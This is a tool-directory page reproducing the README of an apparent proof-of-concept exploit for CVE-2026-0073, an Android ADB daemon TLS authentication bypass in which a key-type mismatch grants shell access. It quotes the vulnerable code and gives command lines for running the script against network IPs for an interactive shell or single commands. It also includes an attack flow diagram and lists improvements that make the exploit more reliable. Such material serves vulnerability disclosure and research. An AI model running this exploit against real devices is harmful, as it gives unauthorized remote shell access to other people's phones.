Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-0073-Android-ADBD-bypass-POC_zh_CN — CVE-2026-0073-Android-ADBD-bypass-POC汉化版 | Kitploit
Tools/GitHubGitHub/ctn-qvo/cve-2026-0073-android-adbd-bypass-poc_zh_cn
Android SecurityVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHubctn-qvo/cve-2026-0073-android-adbd-bypass-poc_zh_cn

CVE-2026-0073-Android-ADBD-bypass-POC_zh_CN

CVE-2026-0073-Android-ADBD-bypass-POC汉化版

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository
321 month agoNot yet reviewed

CVE-2026-0073 — Android ADBD TLS Authentication Bypass

EVP_PKEY_cmp() Type Confusion → Unauthorized ADB Shell

Python 3.10+ CVE-2026-0073 Android License


🔥 Overview

A critical authentication bypass vulnerability exists in Android's ADB daemon (adbd) that allows any attacker on the local network to obtain full shell access on a target device without user authorization.

The flaw resides in the adbd_tls_verify_cert() function in daemon/auth.cpp, where EVP_PKEY_cmp() is used as a boolean. When the stored key is an RSA key and the provided TLS client certificate carries a non-RSA key (EC P-256 or Ed25519), EVP_PKEY_cmp() returns -1 (type mismatch), which evaluates as true in C/C++, thus setting authorized = true.

root@kitploit:~
// Vulnerable code pattern in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 is truthy!
    authorized = true;
}

⚡ Quick Start

Install Dependencies

root@kitploit:~
pip install cryptography

Run the Exploit

root@kitploit:~
# Interactive shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>

# Single command execution
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"

# Verbose mode (full protocol trace)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"

Force a Specific Key Type

root@kitploit:~
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519

By default, the script automatically tries EC P-256 → Ed25519 → EC/TLS 1.2 until successful.


🎯 Exploit Flow

root@kitploit:~
Attacker                        Target (adbd)
      │                                    │
│──── TCP Connect ──────────────────►│
│──── CNXN (plaintext) ────────────►│
│◄─── STLS (TLS upgrade request) ──│
│──── STLS Reply ──────────────────►│
      │                                    │
│════ TLS 1.3 Handshake ════════════│
│ (submitted EC P-256 client cert) │
│ EVP_PKEY_cmp(EC, RSA) → -1      │
│ -1 is truthy → authorized=true   │
      │════════════════════════════════════│
      │                                    │
│◄─── CNXN (device info) ──────────│
│──── Open "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (shell I/O) ──────►│
      │                                    │
【Full shell access】

📋 Prerequisites

Requirement

⚠️ Important: The RSA key must be in the /data/misc/adb/adb_keys file, which is populated through USB debugging pairing (accepting the "Allow USB debugging?" dialog). Wireless debugging pairing (adb pair) stores the key in a different location (adb_known_hosts.pb), so it does not satisfy this requirement.


🛡️ Affected Versions

  • Android 14 (AOSP) — ✅ Confirmed vulnerable
  • Android 15 (AOSP) — Likely vulnerable (unpatched builds)
  • Vendor-specific builds may vary (e.g., Samsung One UI, Pixel, etc.)

How to Check Patch Level

root@kitploit:~
adb shell getprop ro.build.version.security_patch

🧪 Test Environment

Confirmed working on the following test environment:

root@kitploit:~
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)

🔧 Improvements Over Original

This fork includes several improvements:

  • ✅ Multi-key fallback — Automatically tries EC P-256 → Ed25519 → EC/TLS 1.2
  • ✅ Ed25519 support — Alternative key type for wider compatibility
  • ✅ TLS 1.2 fallback — Different client certificate flow (sent during handshake vs. after handshake)
  • ✅ Enhanced certificates — Proper X.509 extensions (BasicConstraints, KeyUsage)
  • ✅ Windows compatible — Uses threaded I/O instead of select() for cross-platform support
  • ✅ Increased timeouts — Better reliability on slower networks
  • ✅ Verbose diagnostics — Detailed protocol trace with -v flag

📁 Project Structure

root@kitploit:~
CVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Main exploit script
└── README.md              # This file

⚠️ Disclaimer

This tool is intended for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing. The author is not responsible for any misuse of this software.


📚 References

  • CVE-2026-0073 — MITRE
  • Android Security Bulletin
  • OpenSSL EVP_PKEY_cmp Documentation
  • ADB Protocol Reference

If this helps your research, please star ⭐ the repo!

Download Tool
EVP_PKEY_cmp() Return ValueMeaningTruthy in C?Result
1Keys match✅Authorized (correct)
0Keys differ❌Denied (correct)
-1Type mismatch✅Authorized (BUG)
Details
Developer OptionsEnabled on the target device
Wireless DebuggingEnabled (or ADB over TCP port 5555)
Stored RSA KeyDevice must have been paired at least once via USB (/data/misc/adb/adb_keys)
Network AccessAttacker must have access to the adbd TCP port